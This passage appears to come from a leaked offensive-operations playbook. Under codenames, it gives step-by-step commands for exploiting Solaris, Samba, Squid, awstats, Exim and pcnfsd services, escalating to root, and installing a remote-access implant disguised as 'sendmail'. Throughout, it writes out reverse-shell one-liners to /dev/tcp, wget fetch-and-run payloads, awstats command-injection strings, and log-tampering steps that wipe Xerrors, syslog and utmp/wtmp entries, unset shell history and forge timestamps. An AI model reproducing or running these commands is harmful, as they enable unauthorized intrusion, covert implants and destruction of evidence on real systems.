3017### Local Window 1:
3018#./wrap-sun.sh -l LOCAL-IP -r sendmail -p NETCAT-PORT -x XSERVER-PORT -d /tmp/WORK-DIR
3019./wrap-sun.sh -l LOCAL_IP -r sendmail -p NETCAT_PORT -x XSERVER_PORT -d /tmp/WORK_DIR
3020
3021### Local Window 2:
3022#./xc -x LOCAL-IP -y XSERVER-PORT -s LOCAL-IP TARGET-IP
3023./xc -x LOCAL_IP -y XSERVER_PORT -s LOCAL_IP TARGET_IP
3024
3025
3026
3027###### YS With REDIRECTION:
3028###### 1. On redirector - set up nopen tunnel
3029
3030-tunnel
3031u 177 TARGET_IP
3032r XSERVER_PORT
3033r NETCAT_PORT
3034s
3035
3036
3037###### 2. Local window1
3038#./wrap-sun.sh -l 555.41.145.11 -r sendmail -p 24389 -x 39942 -d /tmp/.scsi
3039#./wrap-sun.sh -l PITCH-IP -r sendmail -p NETCAT-PORT -x XSERVER-PORT -d /tmp/WORK-DIR
3040./wrap-sun.sh -l PITCH_IP -r sendmail -p NETCAT_PORT -x XSERVER_PORT -d /tmp/WORK_DIR
3041
3042 # hit return
3043 # type y and hit return
3044
3045
3046###### 3. Local Window2:
3047 # for redirection local ip is redirector ip
3048
3049#./xc -x PITCH-IP -y XSERVER-PORT -s PITCH-IP 127.0.0.1
3050#./xc -x 555.41.145.11 -y 39942 -s 555.41.145.11 127.0.0.1
3051./xc -x PITCH_IP -y XSERVER_PORT -s PITCH_IP 127.0.0.1
3052
3053 # hit return
3054 # hit return
3055 # hit return
3056 # (At this point you should see a continue.... in your attack1 window
3057
3058 # in the attack1 window
3059 # hit return
3060 # hit return
3061 # hit return
3062
3063 # (you should see your upload happen...)
3064
3065### IF Exploit is successful
3066# DOING THE FOLLOWING WILL GREATLY REDUCE POSSIBLE LOGGING.
3067# ONLY HIT CONTINUE, IN THE MINI X SERVER WINDOW, ENOUGH
3068# TIMES TO GET THE RAT UPLOADED.
3069# WATCH TCPDUMP OUTPUT TO DETERMINE WHEN RAT IS UPLOADED.
3070# ONCE THE RAT IS UPLOADED, CONNECT
3071# TO THE TARGET VIA THE RAT AND DO THE FOLLOWING:
3072
3073ps -ef | grep dtlogin
3074kill PID
3075
3076# IF YOU SELECTED THE CORRECT dtlogin PID, THEN YOU SHOULD SEE A
3077# "connection closed" MESSAGE IN YOUR MINI X SERVER WINDOW. IF
3078# NOT, YOU SELECTED THE WRONG PID AND JUST KILLED SOMEBODY ELSE'S
3079# dtlogin. IF ALL GOES WELL, HIT control ^C IN THE MINI X SERVER
3080# WINDOW AND THE XC WINDOW.
3081
3082
3083 # Ctrl-C your nc window
3084 # Ctrl-C your xc window
3085
3086
3087###### Double window way:
3088
3089
3090### Local scripted (you'll type commands in this):
3091nc -l -p RPORT1
3092
3093###Local scripted (your output from above will appear here):
3094nc -l -p RPORT2
3095
3096### or instead, use doublet in a scripted window (type and output all in same window):
3097doublet -O -t -i PITCH_IP RPORT1
3098
3099### then set up the tunnels as below, and use wrap-telnet.sh and xc
3100
3101### Scripted #1
3102wrap-telnet.sh -l REDIRECTIP -p RPORT1 -s RPORT2 -x XPORT
3103
3104### Scripted #2
3105# xc -x REDIRECTIP -y XPORT -s REDIRECTIP 127.0.0.1
3106
3107### Redir
3108# -tunnel
3109# u 177 TARGET_IP
3110# r XPORT
3111# r RPORT1
3112# r RPORT2
3113# r NETCAT_PORT
3114
3115
3116#w/o tunneling
3117cd ../down
3118../bin/noclient TARGET_IP
3119
3120#w/ tunneling. In redirector window
3121-nstun TARGET_IP
3122
3123-rm RAT_NAME
3124
3125###### Cleaning up ######
3126### The error log file is configurable and so you must examine
3127### their xdm-config file to find out where errors are being
3128### logged.
3129###
3130### HAVE TO LOOK THROUGH "find" file from getscript
3131
3132egrep -i '(xdm-config|errors|xerror)' /current/*find*m
3133
3134### if no find available one of these will probably find it
3135
3136-ls /tmp/*errors /var/dt/*errors
3137-cat error_file
3138
3139-grep PITCH_IP /var/adm/SYSLOG /var/log/syslog /var/adm/messages
3140
3141-ls -t /var/dt/
3142
3143### you will notice Xerrors is the most recent
3144
3145-tail /var/dt/Xerrors
3146
3147### if your entries are the only ones there....
3148
3149cat /dev/null >/var/dt/Xerrors
3150
3151### if there are other entries you will do something like
3152
3153wc -l /var/dt/Xerrors
3154
3155### subtract the number of lines that are because of you from above
3156
3157head -(what's left) > t ; cat t
3158
3159### if it looks good:
3160
3161cat t > /var/dt/Xerrors
3162-cat /var/dt/Xerrors
3163-rm t
3164
3165-ls -t /var/adm
3166### anything that has a reasonably current timestamp you should check
3167
3168### toasting the login entries.....
3169
3170### Target window
3171-put ../up/toast t
3172
3173### TO VIEW...
3174./t -u /var/adm/utmp
3175./t -u /var/adm/wtmp | tail -20
3176./t -x /var/adm/utmpx
3177./t -x /var/adm/wtmpx | tail -20
3178./t -l /var/adm/lastlog | tail
3179
3180### TO ZAP...
3181./t -u /var/adm/utmp tty date
3182./t -u /var/adm/wtmp tty date
3183./t -x /var/adm/utmpx tty date
3184./t -x /var/adm/wtmpx tty date
3185./t -l /var/adm/lastlog /var/adm/wtmpx user
3186
3187################################################
3188# CATFLAP
3189################################################
3190
3191### on redirector
3192
3193-stun TARGET_IP 23
3194 # or
3195-tunnel
3196l 2323 TARGET_IP 23
3197r NETCAT_PORT
3198
3199### Local window
3200# run catflap to generate output for pasting into telnet:
3201# syntax:
3202/current/bin/catflap_sparc -h
3203
3204
3205# Ex:
3206#/current/bin/catflap_sparc -7 -c "/bin/sh"
3207/current/bin/catflap_sparc -<option_num> -c "/bin/sh"
3208
3209
3210### on redirector
3211
3212-rtun NETCAT_PORT
3213
3214### Local window
3215
3216ftshell telnet localhost 2323
3217
3218### paste catflap output once you get telnet prompt
3219<ctrl><d>
3220
3221### should get root prompt
3222### Now upload rat
3223
3224### with ftshell:
3225unset HISTFILE
3226unset HISTSIZE
3227unset HISTFILESIZE
3228cd /tmp
3229mkdir WORK_DIR
3230cd /tmp/WORK_DIR
3231pwd
3232~~p
3233noserver sendmail
3234ls -la
3235chmod 700 sendmail
3236PATH=. D="-l RAT_PORT" sendmail
3237
3238### now root on target (do the following if you did NOT use ftshell)
3239unset HISTFILE
3240unset HISTSIZE
3241unset HISTFILESIZE
3242cd /tmp
3243mkdir WORK_DIR
3244cd /tmp/WORK_DIR
3245pwd
3246telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode;ls -la
3247uncompress sendmail.Z
3248netstat -an | grep RAT_PORT
3249D="-l RAT_PORT" PATH=. sendmail
3250
3251### pitch window
3252-nstun TARGET_IP RAT_PORT
3253
3254### <ctrl><c> or <ctrl><d> in root target window/nc once
3255### you have nopen on target
3256
3257-put /current/up/toast t
3258-ls -t /var/adm /var/log
3259
3260### look at entries
3261
3262./t -u /var/adm/utmp
3263./t -u /var/adm/wtmp | tail -20
3264./t -x /var/adm/utmpx
3265./t -x /var/adm/wtmpx | tail -20
3266
3267
3268
3269############################################
3270# EXPOSITTRAG
3271############################################
3272
3273# exploit pcnfsd version 2.x (fails on v.1 or 3+)
3274
3275#
3276# whatever redirector you use, port 514 cannot
3277# be in use
3278
3279netstat -an | grep 514
3280
3281# to determine the version
3282
3283-scan rpc TARGET_IP
3284
3285-tunnel
3286u UDP_PCNFSD_PORT TARGET_IP
3287
3288# LOCAL
3289#./prout -w TARGET_IP UDP_PCNFSD_PORT
3290./prout -w 127.0.0.1 791
3291
3292
3293# pcnfsd version 1, version 3 and higher are not vulnerable
3294packrat PACKRAT_PORT
3295
3296-tunnel
3297r PACKRAT_PORT
3298u PCNFSDPORT TARGET_IP
3299
3300# An example of nopen.t: (note the size of the this file is 482. If you make
3301# modifications, change the size appropriately)
3302# use nopen.t file from build, if not <NULL>
3303# can be made with hexedit
3304
3305<NULL>C0755 482 t
3306#!/bin/sh
3307PATH=/usr/local/sbin:/usr/local/bin:/usr/local/etc:/usr/sbin:/usr/bin:/opt/SUNWspro/bin:/etc:/usr/ccs/bin:/usr/lib/nis:/
3308usr/sbin:/usr/bin
3309export PATH
3310mkdir /tmp/.scsi
3311cd /tmp/.scsi
3312telnet PITCH_IP PACKRAT_PORT < /dev/console |uudecode
3313uncompress -f sendmail.Z
3314chmod +x sendmail
3315#PATH=. D=-cPITCH_IP:NOPEN_PORT sendmail
3316PATH=. sendmail
3317/etc/init.d/pcnfs stop
3318/etc/init.d/pcnfs start
3319<NULL>
3320
3321nc -vv -l -p 514 < nopen.t # edit nopen.t, note the size, subtract 14 from the actual size and replace 482 with the new
3322size
3323
3324-rtun 514 127.0.0.1
3325
3326#./slugger2 TARGET_IP TARGET_PORT CMD [PRINTER_NAME]
3327
3328./slugger2 TARGET_IP TARGET_PORT "cd ..
3329cd ..
3330cd ..
3331cd ..
3332cd tmp
3333rcp -p PITCH_IP:t .t
3334sh .t
3335"
3336
3337# CLEANUP
3338/bin/rm /tmp/.t
3339# also might be /tmp/-p
3340/bin/rm -rf /tmp/.scsi
3341
3342# /var/adm/messages will have pcnfs errors
3343# check history files
3344
3345###################### ECHOWRECKER #####################
3346# samba server vulnerability
3347
3348# Samba 3.0.2a-9AX and Samba 3.0.5 are currently vulnerable
3349# Samba 2.x on Redhat 7.3, 8.0, and 9.0 are vulnerable
3350
3351-scan win_scan TARGET_IP
3352
3353-tunnel
3354l 139 TARGET_IP
3355r RATPORT
3356
3357./echowrecker_quiet -O -h -c [-s ] [-e ] [-a ] [-b] [-l] [-d ] [-i ]
3358General cases:
33590 - Samba 3.0.2a-9AX [uses info leak]
33601 - Samba 3.0.5 [uses info leak]
33612 - Samba 2.2.7a (rh9 default) [uses info leak] (DO NOT USE)
3362Specific cases:
33633 - Redflag 4.0 (kernel 2.4.20 samba 3.0.2a-9AX) (after restart of smb service)
33644 - RedFlag 4.0 (kernel 2.4.20 samba 3.0.2a-9AX) (after reboot of server)
33655 - RedFlag 4.0 AS SE (kernel 2.4.20 samba 2.2.8) (after restart of smb service)
33666 - RedFlag 4.0 AS SE (kernel 2.4.20 samba 2.2.8) (after reboot of server)
33677 - RedHat 7.3 (kernel 2.4.18-3 samba 2.2.3a)
33688 - RedHat 8.0 (kernel 2.4.18-14 samba 2.2.5)
33699 - RedHat 9.0 (samba 2.2.7)
337010 - SuSE 9.0 (kernel 2.4.21 samba 2.2.8a)
3371
3372-b = turn bruteforcing on
3373-l = just do info leak and print returned bytes - good for fingerprinting
3374-d = seconds of delay between brute force attempts
3375-s = start of address range to brute force for the location of the shellcode
3376-e = end of address range to brute force for the location of the shellcode
3377-a = address in GOT of function pointer to overwrite (usually 'free') [exactly, not the addr-0xc]
3378 to find it -> # objdump -R /usr/sbin/smbd | grep free
3379-s, -e, -i, -a should be input in hex (ie 0x1000)
3380
3381-c = command to run on server as euid root
3382Ex: -c "/usr/bin/wget -O /tmp/a http://555.1.2.21/noserver && chmod 755 /tmp/a && /tmp/a"
3383
3384=========================================================
3385Also, if the use of the "quiet" echowrecker edition is desired, usage is such:
3386$ make quiet
3387$ ./echowrecker_quiet -O 0 -h 127.0.0.1 -c "/usr/bin/wget -O /tmp/a http://PITCH_IP:RATPORT/crond && chmod 755 /tmp/cron
3388d && /tmp/crond"
3389.
3390Found [20] to try
3391Trying [1 of 100]
3392Trying [2 of 100]
3393etc...
3394
3395###################### ELECTRICSLIDE #####################
3396# Heap Overflow in squid 2.5.STABLE1-2 redhat 9.0
3397-scan 3128 TARGET_IP
3398
3399-tunnel
3400l 3128 TARGET_IP
3401
3402-tunnel 9999 udp
3403
3404./electricslide.pl -t <ip:port> -o <target_type> -d <delay> -l <ip:port>
3405[-U <user>] [-P <pass>] [-n <port>] [-f <ip:port>] [-a <local addr>]
3406
3407 -h, --help Print this helpful message
3408 -t, --target Target Squid server ip
3409 -o, --target-type Target type (see list below)
3410 -l, --listen Electricslide listen port which Squid will connect to
3411 -U, --proxy-user Proxy-Auth user name (if required)
3412 -P, --proxy-pass Proxy-Auth password (if required)
3413 -n, --nopen Set to port of UDP nopen tunnel
3414 -f, --nopen_forward The address and port of the target machine to forward
3415 the attack to through the nopen tunnel
3416 -a, --local-addr The local ip address (not 127.0.0.1)
3417 -d, --delay Web server exploit transmit delay
3418 (The web server will delay the last
3419 400 bytes of the payload this number of seconds.
3420 This ensures that the shellcode will be in proper
3421 alignment when the exploit occurs. Default 30)
3422
3423 Examples:
3424# - Shooter with receiver on port 80:
3425#./electricslide.pl -t TARGET_IP:3128 -l LOCAL_IP:80 -d 30 -o 0
3426#
3427# - Shooter with receivers on port 80 using proxy auth:
3428#./electricslide.pl -t TARGET_IP:3128 -l LOCAL_IP:80 -d 30 -o 0 -U "user" -P "password"
3429
3430./electricslide.pl -t 127.0.0.1:7777 -l PITCH_IP:8888 -o 0 -n 9999 -f TARGET_IP:3128
3431
3432nc 127.0.0.1 9999
3433
3434# or
3435eslide [options] <-t profile> <-l listenerip> <targetip>
3436
3437--------------------------------------------------------------------------
3438Options:
3439 -A <proxyuser:proxypass>
3440 Proxy authentication info in username:password format
3441
3442 -l <listenip>
3443 The ip address for the connect-back proxy request.
3444
3445 -p <targetport>
3446 The target port. Default: 3128
3447
3448 -P <listenport>
3449 The connectback port. Must be allowed by proxy. Default: 80
3450
3451 -t <profile>
3452 The profile number. See supported profiles below
3453
3454 -k
3455 Disable the firing of the killer profile which gets a fresh heap (at your own risk!)
3456
3457
3458Profiles:
3459 [0] Gentle Persuasion
3460 [1] Redhat 9
3461
3462./electricslide -t 1 -l LOCAL_IPorPITCH_IP TARGET_IPor127.0.0.1
3463
3464
3465###################### ELMIRASIGNET #####################
3466# vulnerability in awstats software < 6.3 on apache server
3467# jogswirl
3468
3469-tunnel
3470l 80 TARGET_IP
3471r 5555
3472
3473# vulnerable ?
3474
3475-scan http TARGET_IP
3476
3477 # galeon http://127.0.0.1/cgi-bin/awstats.pl
3478 Advanced Web Statistics 6.1 (build 1.704)
3479
3480 # ./xp_awstats.pl -i 127.0.0.1 -d /cgi-bin/awstats.pl -e 0 -c "uname -a;ls -la;w"
3481
3482./xp_awstats.pl -i<host> -d<dir/file> -e<exploit method number> -c<commands to run on target>
3483
3484 -i <127.0.0.1>
3485 -d </cgi-bin/awstats.pl>
3486 -p <port>
3487 -e <exploit method>
3488 0: ?pluginmode=:system("CMD");
3489 1: ?configdir=|CMD|
3490 2: ?update=1&logfile=|CMD|&framename=mainright
3491 -c <Command to run on target>
3492
3493Examples:
34941) ./xp_awstats.pl -i http://127.0.0.1/cgi-bin/awstats.pl -e3 -c"uname -a;ls -la;w"
34952) ./xp_awstats.pl -i http://127.0.0.1/cgi-bin/awstats.pl -e3 -c"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://
3496PITCH_IP:5555/sendmail -Osendmail;chmod +x sendmail;D=-cPITCH_IP:9999 PATH=. sendmail) 2>/dev/null"
3497
3498-nstun TARGET_IP:9999
3499
3500###################### ERRGENTLE ##########################
3501# exploits vulnerability Exim 3.22 thru Exim 3.35 Mail Transfer Agent
3502# brute force
3503
3504###### Version 3
3505# Upload on PITCHIMPAIR and run
3506netstat -an | grep LISTEN | grep 113
3507
3508mkdir /tmp/.scsi
3509-cd /tmp/.scsi
3510-put /current/bin/xp-exim-3-remote-solaris-v3 x
3511
3512-shell
3513./x -i TARGET_IP -p 25 -d SCAPEGOAT_DOMAIN -u nobody -t
3514# states if vulnerable; hit return to throw if vulnerable
3515# takes about 1000 hits; scrolls fast; will get root prompt
3516unset HISTSIZE
3517unset HISTFILESIZE
3518unset HISTFILE
3519id
3520pwd
3521# will put you in /usr/exim-3.33/spool
3522PATH=. crond
3523<ctrl><d>
3524exit
3525
3526-rm /tmp/.scsi/x /tmp/.scsi
3527
3528
3529# check /var/log/messages for audit message or PAM failed attempt,
3530
3531
3532###### Version 2
3533
3534-tunnel
3535l 25 TARGET_IP
3536r 113
3537r RANDOM_PORT
3538
3539# test susceptability:
3540
3541-scan mail TARGET_IP
3542
3543./xp-exim-3-v3 -i 555.1.2.150 -p 25 -t -d a.jetson.net -u nobody
3544
3545./xp-exim-3 -i 127.0.0.1 -p 25 -c "sh </dev/tcp/PITCH_IP/RANDOM_PORT >&0 2>&0" -t
3546
3547# response should be something like:
3548# It's vulnerable! Hit a key to start
3549
3550
3551# change location of heap to point to other location using -l:
3552
3553./xp-exim-3 -i 127.0.0.1 -p 25 -t -l2 -c "sh </dev/tcp/PITCH_IP/RANDOM_PORT >&0 2>&0"
3554
3555# or
3556
3557(echo -e "HTTP/1.0 200\n";cat sendmail) | nc -vv -l -p RANDOM_PORT
3558
3559# older versions of redhat cannot use /dev/tcp redirection, use wget;
3560
3561./xp-exim-3 -i 127.0.0.1 -c "mkdir /tmp/.scsi; cd /tmp/.scsi; wget http://PITCH_IP:RANDOM_PORT/sendmail -osendmail;chmod +x sendmail*; PATH=. sendmail;PATH=. sendmail.1; PATH=. sendmail.2;"
3562
3563## clean logs
3564# several entries in /usr/exim/spool/log/*
3565# with something like unqualified sender rejected
3566
3567-lt /var/log/messages
3568-lt /var/log/maillog
3569-lt /usr/exim/spool/log
3570-tail /usr/exim/spool/log/rejectlog
3571-tail /usr/exim/spool/log/mainlog
3572
3573
3574
3575
3576
3577############################################
3578# TOOLTALK -DEC, IRIX, or Sol2.6 or earlier
3579############################################
3580
3581-scan rpc TARGET_IP
3582
3583# look for 100083 1 tcp 30889 ttdbserverd
3584
3585rpcinfo -n TTDBSERVERD_PORT -t TARGET_IP PROG_NUM
3586
3587packrat pmgrd NETCAT_PORT
3588
3589#ex:./dec_tt.tn.gr 1 200.21.200.2 LOCAL_IP 25 /tmp/.advtags 30889
3590./dec_tt.tn.gr 1 TARGET_IP LOCAL_IP NETCAT_PORT /tmp/WORK_DIR 30889
3591
3592
3593
3594
3595################################################
3596### VS - VIOLET
3597### You need to do this exploit from a box very close (ideally on the same net)
3598### as the target because of the traffic it generates.
3599### Reference the README file in /current/bin for help on the new version
3600################################################
3601#Start Xserver on local ops machine prior to logging in
3602
3603### VS version5
3604xhost + <TARGET_IP or PITCH_IP>
3605iptables -F
3606netstat -an |grep 6000 (make sure local xserver is listening)
3607
3608
3609
3610### run the test version first to get the times (if vulnerable):
3611-put /current/bin/vs.gettime.sol.sparc v
3612rpcinfo -p TARGET_IP
3613#Ex: ./v -i 202.83.160.51 -h ATMNMS -n 34647 -p 443
3614./v -i TARGET_IP -h HOSTNAME -n TCP_PROGRAMPORT -p CALLBACK_PORT
3615
3616### hit return when prompted; once you get the times for the cookie
3617### you can throw the attack thru the redirector
3618
3619-rm v
3620-cd /tmp
3621-rm .scsi
3622
3623### set up the tunnels, using whichever ports you think can call back:
3624-tunnel
3625l TCP_PROGRAMPORT TARGET_IP
3626r 8080 127.0.0.1 6000
3627r 443
3628
3629
3630### locally, send the exploit:
3631./vs.attack.linux -i 127.0.0.1 -h HOSTNAME -x 8080 -c PITCH_IP -p 443 -n TCP_PROGRAMPORT -7(optional) -v 5 -T SECOND_FROM_GETTIME -t MICROSECS_FROM_GETTIME
3632
3633
3634### a dtterm should eventually pop up - get that mouse outta the way; get those unsets ready!
3635
3636
3637
3638
3639
3640
3641
3642
3643###old way:
3644
3645
3646xhost + <TARGET_IP or PITCH_IP>
3647iptables -F
3648netstat -an |grep 6000 (make sure local xserver is listening)
3649
3650 #connect to redir (you'll need two windows, one for the tunnel,
3651 #one to run the exploit)
3652
3653 #create a working dir on redir
3654 #upload nopen
3655 #start nopen
3656
3657 #check if you'll need to elevate (hope to see superuser next to
3658 # vs port):
3659rpcinfo targetIP (no options)
3660
3661 #prepare vs.sparc command or vs.linux (depending on OS of local
3662 # box or redir box)
3663 #upload vs.sparc executable to redir
3664 #create tunnel in nopen redir window
3665
3666r 22222 127.0.0.1 6000
3667
3668 #paste vs command into 2nd nopen window (on redir)
3669-shell
3670./vs.sparc -7 -v 5 -i IP -h name -D -q PITCH_IP -p tunnelport -n programport
3671
3672 #hit return when prompted and wait possibly a long time)
3673 #keep mouse/cursor away from area where window may pop up
3674 #watch tcpdump window
3675
3676 #when dtterm pops up, paste each command:
3677w
3678df -k
3679
3680 #hit return on netcat window
3681 #create another tunnel to netcat
3682r 32177
3683
3684 #in dtterm, paste upload command
3685
3686 #be sure to allow enough time for upload to get past redir and
3687 # all the way to target
3688
3689controlC netcat
3690
3691 #from redir, attempt to connect to target w/ nopen
3692
3693 #if successful, paste "exit" in dtterm
3694
3695 #If not, may have to start in callback mode
3696
3697 #paste upload commands
3698#./vs.linux -i target_ip -h hostname -r prog_num -v rpc_version -D -q local_ip -p 6000 -n ?
3699
3700 ./vs.linux -i -h -D -q -p 6000 -v 5 -r -n 52213
3701
3702
3703#Misc ex:
3704
3705 ./vs.linux -i 555.1.2.79 -h blade1000 -D -q 554.208.30.2 -p 6000 -v 5 -r 1289637086 -n 52213
3706
3707mkdir /tmp/.scsi; cd /tmp/.scsi; telnet local_ip port </dev/console |uudecode; ls -al
3708uncompress sendmail.Z; chmod +x sendmail; PATH=. sendmail
3709
3710
3711###################################################3
3712### TTSESSION (rpcttjamsession)
3713###################################################3
3714
3715### pops a terminal back to your box
3716
3717
3718### make sure Xserver is running locally (may need to restart box):
3719netstat -an | grep 6000
3720
3721### Allow a window to pop up on your local display:
3722xhost +
3723
3724### and maybe:
3725 iptables -F
3726
3727
3728### see if you'll need to elevate, see who is running that session:
3729### superuser is golden
3730
3731-scan brpc TARGET_IP
3732
3733mx
3734:%s/RANDOM_PORT/RANDOM1/g
3735:%s/DISPLAY_PORT/RANDOM2/g
3736:%s/TTSESSIONPROGNUM/TTSESSIONPROGNUM/g
3737:%s/TTSESSIONPROGPORT/TTSESSIONPROGPORT/g
3738`x
3739
3740### Get your netcat ready
3741packrat NETCAT_PORT
3742
3743
3744### redirector
3745-tunnel
3746l RANDOM_PORT TARGET_IP TTSESSIONPROGPORT
3747r DISPLAY_PORT 127.0.0.1 6000
3748r NETCAT_PORT
3749
3750### use info from highest ttsession portinfo:
3751# Usage:
3752#./rpcttjamsession [-p port] [-r rpc_program] [-v rpc_version][-d display_ip] [-n display_port] [-c cookie_string] [-7] [-t] hostname
3753# -d display_ip - IP address to set DISPLAY
3754# -n display_port - redirection port for Xwindows, default is 6000.
3755# -t - test the RPC call, do not send message.
3756# -7 is for Solaris 7 default rpc program number
3757# -c - User's Cookie as a character string.
3758# (-v = rpcversion from scan results)
3759
3760
3761### REDIRECTED:
3762# Ex. - ./rpcttjamsession -d 203.555.28.242 -v 4 -n 22222 -p 32782 -r 1342177279 127.0.0.1
3763./rpcttjamsession -d PITCH_IP -v RPCVERSION -n DISPLAY_PORT -p RANDOM_PORT -r TTSESSIONPROGRAMNUMBER 127.0.0.1
3764
3765### NO REDIRECTOR:
3766./rpcttjamsession -d LOCAL_IP -v RPCVERSION -n 6000 -p TTSESSIONPROGPORT -r TTSESSIONPROGRAMNUMBER TARGET_IP
3767
3768
3769### Be patient. Check your tunnels and watch for activity in your tcpdump.
3770### If all goes well, a target window will pop up in the left corner of your screen.
3771### Paste commands in it and GET MOUSE OUT OF THE BOX (generatesmore traffic because of X)
3772
3773
3774
3775### get this ready for pasting:
3776unset HISTFILE
3777unset HISTFILESIZE
3778unset HISTSIZE
3779 ### for foreign language problems try this to pop back another xterm in English:
3780 echo $LANG
3781 LANG=
3782 export LANG
3783 DISPLAY=PITCH_IP:RANDOM_1-6000
3784 /usr/openwin/bin/xterm
3785mkdir /tmp/.scsi; cd /tmp/.scsi; pwd
3786telnet PITCH_IP NETCAT_PORT | uudecode
3787uncompress -f sendmail.Z
3788chmod 0700 sendmail
3789PATH=/tmp/.scsi sendmail
3790
3791ls -la /tmp/.scsi
3792cd /tmp/.scsi; uncompress -f sendmail.Z
3793
3794
3795### get that mouse out of the way
3796
3797
3798### get on box with nopen:
3799-nstun TARGET_IP
3800
3801
3802
3803### Cleanup:
3804/var/dt/Xerrors
3805/var/adm
3806/.sh_history
3807/.dt/startlog.old
3808
3809
3810
3811
3812
3813### In remaining local windows, connect to PI host, then connect to TARGET: ##########
3814
3815-rm sendmail
3816
3817### to PI host:
3818cd /current/down
3819../bin/noclient PITCH_IP:NETCAT_PORT
3820
3821### from PI host to TARGET:
3822#-nstun TARGET_IP RAT_PORT
3823 #-readrc ../etc/norc.osf1
3824
3825-nstun TARGET_IP RAT_PORT
3826
3827
3828
3829
3830
3831
3832
3833#########################################################
3834# ENERGIZERBUNNY
3835#########################################################
3836# elevate to root: Sol 2.3-2.9
3837
3838-put /current/up/eb eb
3839-put /current/up/mod32 mod32
3840# or -put /current/up/mod64 mod64
3841
3842./eb -h
3843./eb [-k 32|64] [-p <pid>] [-u <uid>] [-g <gid>] [-n]
3844
3845./eb
3846
3847id
3848
3849### start a new nopen as root:
3850PATH=. D="-l RANDOM" sendmail
3851
3852-nstun TARGET_IP RANDOM
3853
3854-rm eb mod32
3855
3856#########################################################
3857# WALNUTSMOOTHY
3858#########################################################
3859# elevate to root: Sol 2.5.1-2.8
3860
3861mkdir /tmp/1291aaab/
3862-put /current/up/efs f
3863cp f /tmp/1291aaab
3864
3865-shell
3866cd /tmp/1291aaab
3867pwd
3868./f
3869unset HISTSIZE
3870unset HISTFILESIZE
3871unset HISTFILE
3872
3873id
3874cd /tmp/.scsi
3875
3876head /etc/passwd
3877
3878### start a new nopen as root while in -shell:
3879PATH=. D="-l RANDOM" sendmail
3880exit
3881
3882### connect to privileged nopen:
3883-nstun TARGET_IP RANDOM
3884
3885### burn unprivileged nopen
3886
3887### cleanup files
3888-rm /tmp/1291aaab/f f sendmail
3889-rm /tmp/1291aaab
3890-lt /tmp
3891
3892
3893#########################################################
3894# EXTREMEPARR
3895#########################################################
3896# elevate to root: Sol 2.6-2.9
3897
3898###
3899### make sure this exists:
3900-ls /usr/dt/bin/dtappgather
3901
3902### Upload the proper version
3903-cd /tmp/.scsi
3904-put /current/up/exp.x.tar.Z b.tar.Z
3905uncompress b.tar.Z
3906tar -xf b.tar
3907
3908### Find a setuid root program to use for the exploit
3909### The following should work:
3910### w, ps -ef, at -l, whodo, who, and ls -al
3911### Pick a program, determine the location, and verify setuid root is there
3912### (should see perms of -rwsr-xr-x)
3913which at
3914-ls /bin/at
3915
3916### Verify su is NOT in the locale directory already
3917ls -al /usr/lib/locale/su
3918
3919### Rename the shared object to have the name of 'su' or whichever loacale you use instead
3920### Be sure you use the correct version for the system's architecture
3921cp su.so.2.789x su.so.2
3922-ls -t
3923
3924
3925### Have a copy of nopen in your working directory to start up once you get root:
3926-put /current/up/noserver sendmail
3927-ls
3928
3929### Insert the local shared object /usr/lib/locale by running the following
3930### This will also generate itime commands to use later when cleaning up,
3931### normal error messages, and an indication of the success/failure of th
3932### insertion of the object into /usr/lib/locale
3933./exp su
3934echo "" | at now + 180 mins
3935
3936### Set up your variables
3937-getenv
3938-setenv LC_TIME=su
3939-getenv
3940at -l
3941-shell
3942LC_TIME=su
3943export LC_TIME
3944at -l
3945id
3946pwd
3947cd /tmp/.scsi
3948PATH=. sendmail
3949exit
3950exit
3951
3952### Connect from pitch to new noserver that has root privileges
3953-nstun TARGET_IP
3954
3955
3956### Burn your unprivileged nopen session and connect agin to new noserver
3957-burn
3958-nstun TARGET_IP
3959
3960
3961### Cleanup
3962at -l
3963at -r 1085530072.a
3964at -l
3965ls -al /.sh_history
3966-ls -t /
3967ls -lart /usr/lib/locale
3968rm /usr/lib/locale/su/*
3969rmdir /usr/lib/locale/su
3970-lt /usr/lib/locale
3971ls -al /usr/lib | grep locale
3972ls -al /var/dt/appconfig | grep appmanager
3973ls -al /var/dt | grep appconfig
3974chmod 755 /usr/lib/locale
3975chmod 755 /var/dt/appconfig/appmanager
3976chmod 755 /var/dt/appconfig
3977chown bin:bin /usr/lib/locale
3978chown root:root /var/dt/appconfig/appmanager /var/dt/appconfig
3979ls -al /usr/lib | grep locale
3980ls -al /var/dt/appconfig | grep appmanager
3981ls -al /var/dt | grep appconfig
3982-touch /usr/lib/localedef /usr/lib/locale
3983-w
3984-ls -t
3985id
3986-w
3987-ls
3988-ls -t /usr/lib/locale
3989-ls -t /usr/lib/locale/iso_8859_1
3990-ls -t /usr/lib/locale/iso_8859_1/LC_CTYPE
3991-touch /usr/lib/locale/iso_8859_1 /usr/lib/locale/.
3992touch -r /usr/lib/locale/iso_8859_1 /usr/lib/locale/.
3993-ls -t /usr/lib/locale
3994ls -al /var/dt/appconfig | grep appmanager
3995ls -al /var/dt | grep appconfig
3996-ls -t /var/dt/
3997-ls -t /var/dt/appconfig
3998touch -r /var/dt/. /var/dt/appconfig/appmanager
3999touch -r /var/dt/. /var/dt/appconfig/.
4000-ls -t /var/dt/appconfig
4001-ls -t /var/dt/
4002
4003### Clean up directory
4004-ls -t
4005-rm sendmail empty su.so.2 b.tar exp su.so.2.789x su.so.2.6x
4006-ls -t
4007
4008### Check crontabs and logs if you used 'at'
4009-ls -t /var/adm
4010-ls -t /var/spool/cron
4011-ls -t /var/spool/cron/atjobs
4012touch -r /var/spool/cron/crontabs /var/spool/cron/atjobs
4013-tail -40 /var/cron/log
4014
4015### Toast and sgrep your initial exploit
4016
4017
4018#######################################
4019### EVENTSTART
4020#######################################
4021
4022### might reboot box on first try; after the reboot, it should work
4023### if you exploited an http service (like w/ EMBERSNOUT) make sure that
4024### service is started upon reboot; RH9.0 doesn't restart http by default
4025### unless the admin changed the config
4026
4027
4028### verify http is restarted at reboot:
4029-ls -t /etc/init.d
4030-ls -t /etc/rc.d/rc3.d
4031-ls /etc/rc.d/rc*.d/*htt*
4032chkconfig --list |grep htt
4033runlevel
4034
4035
4036### start a cron job to call nopen in case of a reboot (if you won't be able to reexploit)
4037### set the time to remove itself to the next hour (use both local and UTC time)
4038
4039vi /current/down/crontab:
